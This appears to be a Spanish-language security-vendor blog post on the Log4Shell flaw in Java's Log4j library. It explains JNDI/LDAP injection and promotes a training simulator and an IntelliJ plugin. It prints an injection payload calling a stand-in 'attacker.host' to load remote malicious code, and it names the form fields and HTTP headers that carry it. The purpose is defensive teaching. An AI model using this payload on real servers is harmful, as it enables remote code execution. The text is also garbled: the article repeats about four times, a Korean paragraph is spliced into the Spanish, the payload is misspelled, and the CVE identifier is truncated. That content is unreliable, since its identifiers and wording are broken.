
Descripción de la vulnerabilidad de Log4j: vectores de ataque y métodos de prevención
El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?
Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.
¿Noticias antiguas?
Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell es la siguiente.
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.
El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.
Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».
Prevención: Concienciación
Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.
Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.
Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.
Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Actualice sus tecnologías de defensa contra Log4Shell.
¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.


En diciembre de 2021, se reveló una grave vulnerabilidad de seguridad llamada Log4Shell en la biblioteca Java Log4j. En este documento, se desglosa la vulnerabilidad Log4Shell de la forma más sencilla posible para comprender los conceptos básicos y, basándose en el conocimiento de esta vulnerabilidad, se presenta un entorno de pruebas en el que se puede explotar un sitio web simulado.

Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.
Reserva de demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.


El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?
Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.
¿Noticias antiguas?
Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell es la siguiente.
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.
El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.
Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».
Prevención: Concienciación
Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.
Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.
Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.
Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Actualice sus tecnologías de defensa contra Log4Shell.
¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.

El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?
Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.
¿Noticias antiguas?
Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell es la siguiente.
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.
El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.
Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».
Prevención: Concienciación
Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.
Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.
Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.
Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Actualice sus tecnologías de defensa contra Log4Shell.
¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.

Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.
Ver informeReserva de demostraciónLaura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre se hizo público un exploit de día cero de la biblioteca Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de «alta gravedad» (RACE) debido a que el exploit permite la ejecución remota de código. Además, log4j-core es una de las bibliotecas de registro Java más utilizadas, lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente las habilidades necesarias para manejar Log4Shell?
Partiendo de los conceptos básicos de Log4Shell, hemos creado una demostración en el simulador Mission para que pueda experimentar el abuso de esta vulnerabilidad. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a la infraestructura y las aplicaciones. Haga clic aquí para ir directamente a la demostración osiga leyendo para obtener más información sobre esta vulnerabilidad.
¿Noticias antiguas?
Los exploits no son nada nuevo. Los investigadores de seguridad ya lo destacaron en la conferencia Black Hat de 2016, con Álvaro Muñoz y Oleksandr Mirosh. «Las aplicaciones no deben realizar consultas JNDI con datos no fiables».Explicaron cómo la inyección JNDI/LDAP objetivo puede conducir a la ejecución remota de código. Esto es precisamente el núcleo de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell es la siguiente.
$ {indi:ldap: //attacker.host/xyz}
이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.
A continuación, JNDI es una API que permite buscar datos o recursos conectándose a servicios mediante protocolos como Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En pocas palabras, en el ejemplo anterior de carga maliciosa, JNDI realiza una búsqueda en un servidor LDAP controlado por el atacante. Por ejemplo, la respuesta puede apuntar a un archivo de clase Java que contiene código malicioso, que, a cambio, se ejecuta en un servidor vulnerable.
El motivo por el que esta vulnerabilidad es tan problemática es que Log4j evalúa todas las entradas de registro y consulta todas las entradas de usuario registradas escritas con la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde el usuario pueda introducir datos, como los campos de formulario.Además, los encabezados HTTP (por ejemplo, User-Agent y X-Forwarded-For, entre otros) pueden personalizarse para transmitir la carga útil.
Para experimentar directamente el exploit, vaya al escaparate y pase a la fase 2: «Impacto de la experiencia».
Prevención: Concienciación
Log4j está parcheando el código vulnerable, por lo que se recomienda actualizar todas las aplicaciones. Sin embargo, las versiones 2.15.0 y 2.16.0 contienen vulnerabilidades DDoS y otras, por lo que se recomienda actualizar a la versión 2.17.0 a partir de finales de diciembre.
Como desarrolladores que escribimos código, siempre debemos tener en cuenta la seguridad. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos tener presente que el uso de fuentes externas que ingenuamente consideramos seguras puede comprometer la seguridad de nuestras aplicaciones.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, hay muchas cosas que los desarrolladores pueden hacer solo cuando los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida se ha repetido una y otra vez: nunca confíes en las entradas de los usuarios.
Secure Code Warrior cree que la mejor manera de evitar vulnerabilidades en el código es que los desarrolladores den prioridad a la seguridad. SCW ofrece formación a gran escala sobre marcos de programación específicos, lo que permitió a los clientes empresariales identificar rápidamente a los desarrolladores Java afectados utilizando los datos de los informes. Además, con la ayuda de expertos en seguridad formados por SCW, se aceleró la actualización de Log4j.
Secure Code Warrior ofrece Sensei, un complemento gratuito para IntelliJ, especialmente diseñado para desarrolladores Java. Esta herramienta de análisis de código basada en reglas se puede utilizar para aplicar directrices de codificación y prevenir y resolver vulnerabilidades. Se pueden crear reglas propias o utilizar reglas predefinidas. Libro de recetas. Eche un vistazo a nuestras recetas y no se olvide de descargar nuestro libro de recetas Log4j, que le ayudará a encontrar y resolver la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Actualice sus tecnologías de defensa contra Log4Shell.
¿Desea aplicar lo aprendido en esta publicación del blog? El escaparate puede resultarle útil. Al iniciar el escaparate, se revisará rápidamente esta vulnerabilidad y, a continuación, se le dirigirá a un entorno de simulación en el que podrá intentar el exploit siguiendo las instrucciones proporcionadas.
Índice

Secure Code Warrior está aquí para ayudar a las organizaciones a proteger el código durante todo el ciclo de vida del desarrollo de software y a crear una cultura que priorice la ciberseguridad. Ya seas administrador de AppSec, desarrollador, CISO o cualquier persona relacionada con la seguridad, podemos ayudarte a reducir los riesgos asociados al código inseguro en tu organización.
Reserva de demostraciónDescargarRecursos útiles para empezar
Trust Agent:AI - Secure and scale AI-Drive development
AI is writing code. Who’s governing it? With up to 50% of AI-generated code containing security weaknesses, managing AI risk is critical. Discover how SCW's Trust Agent: AI provides the real-time visibility, proactive governance, and targeted upskilling needed to scale AI-driven development securely.
El poder de la seguridad de aplicaciones OpenText + Secure Code Warrior
OpenText Application Security and Secure Code Warrior combine vulnerability detection with AI Software Governance and developer capability. Together, they help organizations reduce risk, strengthen secure coding practices, and confidently adopt AI-driven development.
Secure Code Warrior corporate overview
Secure Code Warrior is an AI Software Governance platform designed to enable organizations to safely adopt AI-driven development by bridging the gap between development velocity and enterprise security. The platform addresses the "Visibility Gap," where security teams often lack insights into shadow AI coding tools and the origins of production code.




.png)